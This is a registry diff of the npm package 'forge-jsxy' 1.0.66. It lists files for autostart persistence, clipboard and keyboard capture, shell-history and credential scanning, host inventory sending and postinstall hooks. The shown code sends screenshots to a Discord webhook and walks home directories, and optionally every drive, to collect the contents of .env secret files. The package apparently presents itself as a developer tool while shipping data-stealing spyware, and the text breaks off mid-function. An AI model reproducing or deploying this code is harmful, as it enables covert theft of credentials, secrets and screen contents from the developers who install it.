forge-jsxy 1.0.66
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/files-explorer-template.html +4100 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +290 -0
- package/dist/assets/files-explorer-template.html +4100 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/autostart/agentEnvFile.d.ts +58 -0
- package/dist/autostart/agentEnvFile.js +488 -0
- package/dist/autostart/autoUpdatePaths.d.ts +7 -0
- package/dist/autostart/autoUpdatePaths.js +51 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +203 -0
- package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
- package/dist/autostart/darwinAutoUpdate.js +70 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
- package/dist/autostart/linuxUpdateTimer.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +277 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +56 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +92 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +38 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +177 -0
- package/dist/clipboardExec.d.ts +1 -0
- package/dist/clipboardExec.js +161 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +476 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +227 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +806 -0
- package/dist/discordWebhookPost.d.ts +12 -0
- package/dist/discordWebhookPost.js +108 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/envScan.d.ts +14 -0
- package/dist/envScan.js +358 -0
- package/dist/exportMirrorCopy.d.ts +15 -0
- package/dist/exportMirrorCopy.js +279 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +110 -0
- package/dist/fsMessages.d.ts +1 -0
- package/dist/fsMessages.js +123 -0
- package/dist/fsProtocol.d.ts +107 -0
- package/dist/fsProtocol.js +4800 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +124 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +16 -0
- package/dist/hfSeqIdLookup.js +146 -0
- package/dist/hfUpload.d.ts +47 -0
- package/dist/hfUpload.js +1225 -0
- package/dist/hostInventory.d.ts +18 -0
- package/dist/hostInventory.js +206 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +86 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1094 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxX11.d.ts +2 -0
- package/dist/linuxX11.js +53 -0
- package/dist/relayAgent.d.ts +20 -0
- package/dist/relayAgent.js +828 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +31 -0
- package/dist/relayDashboardGate.js +323 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +1406 -0
- package/dist/shellHistoryScan.d.ts +12 -0
- package/dist/shellHistoryScan.js +200 -0
- package/dist/startupAutoUpdate.d.ts +17 -0
- package/dist/startupAutoUpdate.js +156 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +205 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +22 -0
- package/dist/windowsInputSync.js +536 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +327 -0
- package/package.json +75 -0
- package/scripts/copy-assets.mjs +31 -0
- package/scripts/discord-live-probe.mjs +159 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
- package/scripts/forge-jsx-explorer-restart.mjs +293 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
- package/scripts/postinstall-agent.mjs +313 -0
- package/scripts/postinstall-bootstrap.mjs +264 -0
- package/scripts/postinstall-clipboard-event.mjs +164 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
|
|
3
|
+
*
|
|
4
|
+
* The `?wait=true` parameter makes Discord return a full message object so success vs.
|
|
5
|
+
* transient-failure can be distinguished without guessing.
|
|
6
|
+
*/
|
|
7
|
+
export declare function postPngToDiscordWebhookUrl(webhookUrl: string, png: Buffer, caption: string): Promise<{
|
|
8
|
+
ok: true;
|
|
9
|
+
} | {
|
|
10
|
+
ok: false;
|
|
11
|
+
error: string;
|
|
12
|
+
}>;
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.postPngToDiscordWebhookUrl = postPngToDiscordWebhookUrl;
|
|
4
|
+
/**
|
|
5
|
+
* Agent-side POST of an image (PNG or JPEG) to a Discord **incoming webhook** URL (no Bot header).
|
|
6
|
+
* Used when Discord screenshot mode is **webhook** (default) — image bytes go straight to Discord,
|
|
7
|
+
* not through the relay.
|
|
8
|
+
*
|
|
9
|
+
* Rate-limit strategies (agent / webhook side)
|
|
10
|
+
* ─────────────────────────────────────────────
|
|
11
|
+
* 1. `fetchUntilNot429` with per-webhook bucket tracker — proactive pre-wait when the
|
|
12
|
+
* webhook-specific rate-limit bucket is exhausted, with Retry-After / retry_after parsing
|
|
13
|
+
* and exponential backoff + jitter.
|
|
14
|
+
* 2. Per-webhook tracker instance — each webhook URL gets its own `DiscordBucketTracker` so
|
|
15
|
+
* different clients' webhooks don't interfere. The tracker is keyed by webhook path so
|
|
16
|
+
* its state persists across retries within the same upload attempt.
|
|
17
|
+
* 3. Webhook rate limits are separate from bot REST limits — they have their own 30-req/min
|
|
18
|
+
* per-webhook bucket (shared across all senders to the same webhook). The tracker handles
|
|
19
|
+
* this transparently via X-RateLimit-* headers.
|
|
20
|
+
* 4. `?wait=true` ensures we get a proper response body with message ID so transient failures
|
|
21
|
+
* are distinguished from successes.
|
|
22
|
+
* 5. Host allowlist prevents SSRF — only discord.com / canary / ptb hostnames are accepted.
|
|
23
|
+
*/
|
|
24
|
+
const node_crypto_1 = require("node:crypto");
|
|
25
|
+
const discordRateLimit_1 = require("./discordRateLimit");
|
|
26
|
+
function discordAttachmentFilenameAndMime(buf) {
|
|
27
|
+
if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
|
|
28
|
+
return { filename: "screenshot.jpg", mime: "image/jpeg" };
|
|
29
|
+
}
|
|
30
|
+
return { filename: "screenshot.png", mime: "image/png" };
|
|
31
|
+
}
|
|
32
|
+
function buildWebhookMultipartImage(imageBytes, caption) {
|
|
33
|
+
const { filename, mime } = discordAttachmentFilenameAndMime(imageBytes);
|
|
34
|
+
const boundary = `----ForgeJsWh${(0, node_crypto_1.randomBytes)(12).toString("hex")}`;
|
|
35
|
+
const payload = JSON.stringify({
|
|
36
|
+
content: caption.slice(0, 2000),
|
|
37
|
+
});
|
|
38
|
+
const head = `--${boundary}\r\n` +
|
|
39
|
+
`Content-Disposition: form-data; name="payload_json"\r\n` +
|
|
40
|
+
`Content-Type: application/json\r\n\r\n` +
|
|
41
|
+
`${payload}\r\n` +
|
|
42
|
+
`--${boundary}\r\n` +
|
|
43
|
+
`Content-Disposition: form-data; name="files[0]"; filename="${filename}"\r\n` +
|
|
44
|
+
`Content-Type: ${mime}\r\n\r\n`;
|
|
45
|
+
const tail = `\r\n--${boundary}--\r\n`;
|
|
46
|
+
const body = Buffer.concat([
|
|
47
|
+
Buffer.from(head, "utf8"),
|
|
48
|
+
imageBytes,
|
|
49
|
+
Buffer.from(tail, "utf8"),
|
|
50
|
+
]);
|
|
51
|
+
return { body, contentType: `multipart/form-data; boundary=${boundary}` };
|
|
52
|
+
}
|
|
53
|
+
/**
|
|
54
|
+
* Module-level per-webhook-path tracker map.
|
|
55
|
+
* Key: webhook path (e.g. /webhooks/123/abc); Value: DiscordBucketTracker.
|
|
56
|
+
* Each webhook endpoint has its own rate-limit bucket; tracking them separately
|
|
57
|
+
* avoids over-waiting when only one specific webhook is exhausted.
|
|
58
|
+
*/
|
|
59
|
+
const _webhookTrackers = new Map();
|
|
60
|
+
function _getWebhookTracker(webhookPath) {
|
|
61
|
+
let t = _webhookTrackers.get(webhookPath);
|
|
62
|
+
if (!t) {
|
|
63
|
+
t = new discordRateLimit_1.DiscordBucketTracker();
|
|
64
|
+
_webhookTrackers.set(webhookPath, t);
|
|
65
|
+
// Evict stale entries to avoid unbounded growth (simple size cap)
|
|
66
|
+
if (_webhookTrackers.size > 200) {
|
|
67
|
+
const first = _webhookTrackers.keys().next().value;
|
|
68
|
+
if (first !== undefined)
|
|
69
|
+
_webhookTrackers.delete(first);
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
return t;
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* `webhookUrl` should be `https://discord.com/api/webhooks/{id}/{token}` (query allowed).
|
|
76
|
+
*
|
|
77
|
+
* The `?wait=true` parameter makes Discord return a full message object so success vs.
|
|
78
|
+
* transient-failure can be distinguished without guessing.
|
|
79
|
+
*/
|
|
80
|
+
async function postPngToDiscordWebhookUrl(webhookUrl, png, caption) {
|
|
81
|
+
const u = new URL(webhookUrl.trim());
|
|
82
|
+
const h = u.hostname.toLowerCase();
|
|
83
|
+
if (h !== "discord.com" &&
|
|
84
|
+
h !== "canary.discord.com" &&
|
|
85
|
+
h !== "ptb.discord.com") {
|
|
86
|
+
return { ok: false, error: "webhook URL host must be discord.com (or canary/ptb)" };
|
|
87
|
+
}
|
|
88
|
+
const base = webhookUrl.trim();
|
|
89
|
+
const exec = base.includes("?") ? `${base}&wait=true` : `${base}?wait=true`;
|
|
90
|
+
// Extract path for route-key + per-webhook tracker lookup
|
|
91
|
+
const webhookPath = u.pathname; // e.g. /api/v10/webhooks/{id}/{token}
|
|
92
|
+
const routeKey = `POST:${webhookPath}`;
|
|
93
|
+
const tracker = _getWebhookTracker(webhookPath);
|
|
94
|
+
const { body, contentType } = buildWebhookMultipartImage(png, caption);
|
|
95
|
+
const res = await (0, discordRateLimit_1.fetchUntilNot429)(() => fetch(exec, {
|
|
96
|
+
method: "POST",
|
|
97
|
+
headers: { "Content-Type": contentType },
|
|
98
|
+
body,
|
|
99
|
+
}), routeKey, tracker);
|
|
100
|
+
const text = await res.text();
|
|
101
|
+
if (!res.ok) {
|
|
102
|
+
return {
|
|
103
|
+
ok: false,
|
|
104
|
+
error: `Discord webhook HTTP ${res.status}: ${text.slice(0, 500)}`,
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
return { ok: true };
|
|
108
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export {};
|
package/dist/envLoad.js
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
/**
|
|
4
|
+
* Load project-root `.env` before reading FORGE_JS_BUNDLE_KEY (optional; no-op if missing).
|
|
5
|
+
*
|
|
6
|
+
* Skipped when `NODE_ENV=test` or `FORGE_JS_SKIP_DOTENV=1` so automated tests and CI are not
|
|
7
|
+
* polluted by a developer `CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256` / secrets in `.env` (imported
|
|
8
|
+
* transitively via `deploymentDefaults.ts`).
|
|
9
|
+
*/
|
|
10
|
+
const node_fs_1 = require("node:fs");
|
|
11
|
+
const node_path_1 = require("node:path");
|
|
12
|
+
const dotenv_1 = require("dotenv");
|
|
13
|
+
const envPath = (0, node_path_1.join)(__dirname, "..", ".env");
|
|
14
|
+
const skipDotenv = String(process.env.NODE_ENV || "").toLowerCase() === "test" ||
|
|
15
|
+
String(process.env.FORGE_JS_SKIP_DOTENV || "").trim() === "1";
|
|
16
|
+
if (!skipDotenv && (0, node_fs_1.existsSync)(envPath)) {
|
|
17
|
+
(0, dotenv_1.config)({ path: envPath, override: false });
|
|
18
|
+
}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
import { type SyncEventPayload } from "./syncClient";
|
|
2
|
+
export declare function getDefaultEnvScanRoots(): string[];
|
|
3
|
+
export interface EnvFileRecord {
|
|
4
|
+
path: string;
|
|
5
|
+
content: string;
|
|
6
|
+
hash: string;
|
|
7
|
+
mtime: string;
|
|
8
|
+
size: number;
|
|
9
|
+
}
|
|
10
|
+
/**
|
|
11
|
+
* Walk roots (default: cwd + homedir) and yield .env-like files once each (by real path key).
|
|
12
|
+
*/
|
|
13
|
+
export declare function iterEnvFileRecords(roots?: string[]): Generator<EnvFileRecord>;
|
|
14
|
+
export declare function scanEnvFilesAsEvents(roots?: string[]): SyncEventPayload[];
|
package/dist/envScan.js
ADDED
|
@@ -0,0 +1,358 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.getDefaultEnvScanRoots = getDefaultEnvScanRoots;
|
|
37
|
+
exports.iterEnvFileRecords = iterEnvFileRecords;
|
|
38
|
+
exports.scanEnvFilesAsEvents = scanEnvFilesAsEvents;
|
|
39
|
+
/**
|
|
40
|
+
* Best-effort `.env` discovery — subset of cfgmgr.core env scanner (same filename rules + size cap).
|
|
41
|
+
*/
|
|
42
|
+
const fs = __importStar(require("node:fs"));
|
|
43
|
+
const path = __importStar(require("node:path"));
|
|
44
|
+
const os = __importStar(require("node:os"));
|
|
45
|
+
const node_crypto_1 = require("node:crypto");
|
|
46
|
+
const syncClient_1 = require("./syncClient");
|
|
47
|
+
const ENV_PATTERNS = new Set([
|
|
48
|
+
".env",
|
|
49
|
+
".env.local",
|
|
50
|
+
".env.development",
|
|
51
|
+
".env.production",
|
|
52
|
+
".env.staging",
|
|
53
|
+
".env.test",
|
|
54
|
+
".env.dev",
|
|
55
|
+
".env.prod",
|
|
56
|
+
".env.example",
|
|
57
|
+
".env.sample",
|
|
58
|
+
".env.defaults",
|
|
59
|
+
".env.docker",
|
|
60
|
+
".env.compose",
|
|
61
|
+
]);
|
|
62
|
+
const ENV_SKIP_DIR_NAMES_LOWER = new Set([
|
|
63
|
+
"node_modules",
|
|
64
|
+
".git",
|
|
65
|
+
"__pycache__",
|
|
66
|
+
".venv",
|
|
67
|
+
"venv",
|
|
68
|
+
".tox",
|
|
69
|
+
".mypy_cache",
|
|
70
|
+
".pytest_cache",
|
|
71
|
+
".cache",
|
|
72
|
+
"dist",
|
|
73
|
+
"build",
|
|
74
|
+
".next",
|
|
75
|
+
".nuxt",
|
|
76
|
+
"System Volume Information",
|
|
77
|
+
"$Recycle.Bin",
|
|
78
|
+
"Recovery",
|
|
79
|
+
".Trash",
|
|
80
|
+
".Trash-1000",
|
|
81
|
+
].map((s) => s.toLowerCase()));
|
|
82
|
+
/** Exact path only — avoids skipping `/tmp/myproject` while still skipping bare `/tmp` root walks. */
|
|
83
|
+
const ENV_SKIP_DIRS_UNIX_EXACT = new Set(["/tmp", "/private/tmp"]);
|
|
84
|
+
/**
|
|
85
|
+
* System prefixes: do not walk subtrees (e.g. `/sys/devices/...`). Not `/usr` alone — keeps `/usr/local` scannable.
|
|
86
|
+
* macOS paths (/System, /Library, /private/var, etc.) are also listed; harmless on Linux where they don't exist.
|
|
87
|
+
*/
|
|
88
|
+
const ENV_SKIP_PREFIXES_UNIX = [
|
|
89
|
+
"/proc",
|
|
90
|
+
"/sys",
|
|
91
|
+
"/dev",
|
|
92
|
+
"/run",
|
|
93
|
+
"/snap",
|
|
94
|
+
"/boot",
|
|
95
|
+
"/lost+found",
|
|
96
|
+
"/lib",
|
|
97
|
+
"/lib32",
|
|
98
|
+
"/lib64",
|
|
99
|
+
"/libx32",
|
|
100
|
+
"/usr/lib",
|
|
101
|
+
"/usr/share",
|
|
102
|
+
"/usr/src",
|
|
103
|
+
"/var/lib",
|
|
104
|
+
"/var/log",
|
|
105
|
+
"/var/cache",
|
|
106
|
+
"/var/spool",
|
|
107
|
+
// macOS system directories
|
|
108
|
+
"/System",
|
|
109
|
+
"/Network",
|
|
110
|
+
"/Library",
|
|
111
|
+
"/private/etc",
|
|
112
|
+
"/private/var",
|
|
113
|
+
"/private/tmp",
|
|
114
|
+
"/Volumes",
|
|
115
|
+
"/cores",
|
|
116
|
+
"/sbin",
|
|
117
|
+
"/bin",
|
|
118
|
+
"/usr/bin",
|
|
119
|
+
"/usr/sbin",
|
|
120
|
+
];
|
|
121
|
+
const ENV_SKIP_WIN_TOP_SEGMENTS = new Set([
|
|
122
|
+
"windows",
|
|
123
|
+
"program files",
|
|
124
|
+
"program files (x86)",
|
|
125
|
+
"programdata",
|
|
126
|
+
"$recycle.bin",
|
|
127
|
+
"recovery",
|
|
128
|
+
"system volume information",
|
|
129
|
+
]);
|
|
130
|
+
/**
|
|
131
|
+
* Windows shell generates .env.lnk shortcut files in Recent/. These are binary
|
|
132
|
+
* and must never be treated as env files.
|
|
133
|
+
*/
|
|
134
|
+
const ENV_SKIP_WIN_DIR_PATHS_LOWER = [
|
|
135
|
+
["appdata", "roaming", "microsoft", "windows", "recent"],
|
|
136
|
+
["appdata", "local", "temp"],
|
|
137
|
+
["appdata", "local", "microsoft", "windows", "inetcache"],
|
|
138
|
+
];
|
|
139
|
+
/** Known binary-only extensions that can never be a real env file. */
|
|
140
|
+
const ENV_SKIP_EXTENSIONS = new Set([
|
|
141
|
+
".lnk", ".tmp", ".db", ".dat", ".dll", ".exe", ".sys", ".bat", ".cmd",
|
|
142
|
+
".msi", ".cab", ".zip", ".gz", ".tar", ".rar", ".7z", ".png", ".jpg",
|
|
143
|
+
".jpeg", ".gif", ".bmp", ".ico", ".pdf", ".docx", ".xlsx", ".pptx",
|
|
144
|
+
]);
|
|
145
|
+
const ENV_MAX_FILE_SIZE = 512 * 1024;
|
|
146
|
+
/**
|
|
147
|
+
* When `FORGE_JS_ENV_SCAN_WIDE=1`, default roots also include:
|
|
148
|
+
* - Windows: every available drive root (`A:\` … `Z:\`)
|
|
149
|
+
* - macOS: `/Users`
|
|
150
|
+
* - Linux: `/home`, `/root` (if present)
|
|
151
|
+
* Skips (`shouldSkipDir` / prefixes) still apply — system trees are not fully walked.
|
|
152
|
+
*/
|
|
153
|
+
function envScanWideEnabled() {
|
|
154
|
+
const raw = (process.env.FORGE_JS_ENV_SCAN_WIDE || "").trim().toLowerCase();
|
|
155
|
+
return ["1", "true", "yes", "on"].includes(raw);
|
|
156
|
+
}
|
|
157
|
+
function getDefaultEnvScanRoots() {
|
|
158
|
+
const roots = [];
|
|
159
|
+
const pushUnique = (p) => {
|
|
160
|
+
try {
|
|
161
|
+
const r = path.resolve(p);
|
|
162
|
+
if (!fs.existsSync(r) || !fs.statSync(r).isDirectory())
|
|
163
|
+
return;
|
|
164
|
+
const key = process.platform === "win32" ? r.toLowerCase() : r;
|
|
165
|
+
if (roots.some((x) => process.platform === "win32" ? x.toLowerCase() === key : x === key)) {
|
|
166
|
+
return;
|
|
167
|
+
}
|
|
168
|
+
roots.push(r);
|
|
169
|
+
}
|
|
170
|
+
catch {
|
|
171
|
+
/* skip */
|
|
172
|
+
}
|
|
173
|
+
};
|
|
174
|
+
try {
|
|
175
|
+
pushUnique(process.cwd());
|
|
176
|
+
}
|
|
177
|
+
catch {
|
|
178
|
+
/* skip */
|
|
179
|
+
}
|
|
180
|
+
try {
|
|
181
|
+
pushUnique(path.resolve(os.homedir()));
|
|
182
|
+
}
|
|
183
|
+
catch {
|
|
184
|
+
/* skip */
|
|
185
|
+
}
|
|
186
|
+
if (!envScanWideEnabled()) {
|
|
187
|
+
return roots.length ? roots : [process.cwd(), path.resolve(os.homedir())];
|
|
188
|
+
}
|
|
189
|
+
if (process.platform === "win32") {
|
|
190
|
+
for (let i = 0; i < 26; i++) {
|
|
191
|
+
const letter = String.fromCharCode(65 + i);
|
|
192
|
+
pushUnique(`${letter}:\\`);
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
else if (process.platform === "darwin") {
|
|
196
|
+
pushUnique("/Users");
|
|
197
|
+
}
|
|
198
|
+
else {
|
|
199
|
+
pushUnique("/home");
|
|
200
|
+
pushUnique("/root");
|
|
201
|
+
}
|
|
202
|
+
return roots.length ? roots : [process.cwd(), path.resolve(os.homedir())];
|
|
203
|
+
}
|
|
204
|
+
function isEnvFilename(name) {
|
|
205
|
+
const nl = name.toLowerCase();
|
|
206
|
+
if (ENV_PATTERNS.has(nl))
|
|
207
|
+
return true;
|
|
208
|
+
if (!nl.startsWith(".env"))
|
|
209
|
+
return false;
|
|
210
|
+
// Reject known binary extensions that can appear as .env.lnk, .env.tmp etc.
|
|
211
|
+
const ext = path.extname(nl);
|
|
212
|
+
if (ext && ENV_SKIP_EXTENSIONS.has(ext))
|
|
213
|
+
return false;
|
|
214
|
+
return nl === ".env" || nl.startsWith(".env.");
|
|
215
|
+
}
|
|
216
|
+
function normalizedPathPrefixSkip(dirpath, prefixes) {
|
|
217
|
+
const n = path.normalize(dirpath);
|
|
218
|
+
for (const p of prefixes) {
|
|
219
|
+
if (n === p || n.startsWith(p + path.sep))
|
|
220
|
+
return true;
|
|
221
|
+
}
|
|
222
|
+
return false;
|
|
223
|
+
}
|
|
224
|
+
function shouldSkipDirWin(dirpath) {
|
|
225
|
+
const norm = path.normalize(dirpath);
|
|
226
|
+
const tail = norm.replace(/^[a-zA-Z]:[\\/]/, "");
|
|
227
|
+
const segments = tail.split(/[\\/]/).filter(Boolean).map((s) => s.toLowerCase());
|
|
228
|
+
const first = segments[0];
|
|
229
|
+
if (first && ENV_SKIP_WIN_TOP_SEGMENTS.has(first)) {
|
|
230
|
+
return true;
|
|
231
|
+
}
|
|
232
|
+
// Skip known Windows shell system sub-paths (e.g. AppData\Roaming\Microsoft\Windows\Recent).
|
|
233
|
+
// Slide the pattern across all positions — real paths have "users\<name>\" before "appdata\...",
|
|
234
|
+
// so matching only from index 0 would never fire.
|
|
235
|
+
for (const skipPath of ENV_SKIP_WIN_DIR_PATHS_LOWER) {
|
|
236
|
+
if (skipPath.length > segments.length)
|
|
237
|
+
continue;
|
|
238
|
+
for (let off = 0; off + skipPath.length <= segments.length; off++) {
|
|
239
|
+
if (skipPath.every((seg, i) => segments[off + i] === seg))
|
|
240
|
+
return true;
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
return false;
|
|
244
|
+
}
|
|
245
|
+
function shouldSkipDir(dirpath, dirname) {
|
|
246
|
+
if (ENV_SKIP_DIR_NAMES_LOWER.has((dirname || "").toLowerCase()))
|
|
247
|
+
return true;
|
|
248
|
+
if (process.platform === "win32") {
|
|
249
|
+
return shouldSkipDirWin(dirpath);
|
|
250
|
+
}
|
|
251
|
+
const n = path.normalize(dirpath);
|
|
252
|
+
if (ENV_SKIP_DIRS_UNIX_EXACT.has(n))
|
|
253
|
+
return true;
|
|
254
|
+
return normalizedPathPrefixSkip(n, ENV_SKIP_PREFIXES_UNIX);
|
|
255
|
+
}
|
|
256
|
+
/**
|
|
257
|
+
* Git Bash / MSYS use paths like `/c/Users/name/...`. On Windows, Node's `path.resolve`
|
|
258
|
+
* does not map those to `C:\Users\...`, so `fs.existsSync` on scan roots fails. Map the
|
|
259
|
+
* common `/x/...` drive prefix to a Windows path before resolving.
|
|
260
|
+
*/
|
|
261
|
+
function normalizeScanRootPath(raw) {
|
|
262
|
+
const trimmed = raw.trim();
|
|
263
|
+
if (!trimmed)
|
|
264
|
+
return trimmed;
|
|
265
|
+
if (process.platform !== "win32") {
|
|
266
|
+
return path.resolve(trimmed);
|
|
267
|
+
}
|
|
268
|
+
const norm = trimmed.replace(/\\/g, "/").replace(/^\/\/+/, "/");
|
|
269
|
+
const m = /^\/([a-zA-Z])\/(.*)$/.exec(norm);
|
|
270
|
+
if (m) {
|
|
271
|
+
const drive = m[1].toUpperCase();
|
|
272
|
+
const rest = (m[2] || "").replace(/\//g, path.sep);
|
|
273
|
+
return path.resolve(`${drive}:${path.sep}${rest}`);
|
|
274
|
+
}
|
|
275
|
+
return path.resolve(trimmed);
|
|
276
|
+
}
|
|
277
|
+
/**
|
|
278
|
+
* Walk roots (default: cwd + homedir) and yield .env-like files once each (by real path key).
|
|
279
|
+
*/
|
|
280
|
+
function* iterEnvFileRecords(roots) {
|
|
281
|
+
const r = roots?.length
|
|
282
|
+
? roots.map((x) => normalizeScanRootPath(x))
|
|
283
|
+
: getDefaultEnvScanRoots();
|
|
284
|
+
const seen = new Set();
|
|
285
|
+
function* walkDir(dir) {
|
|
286
|
+
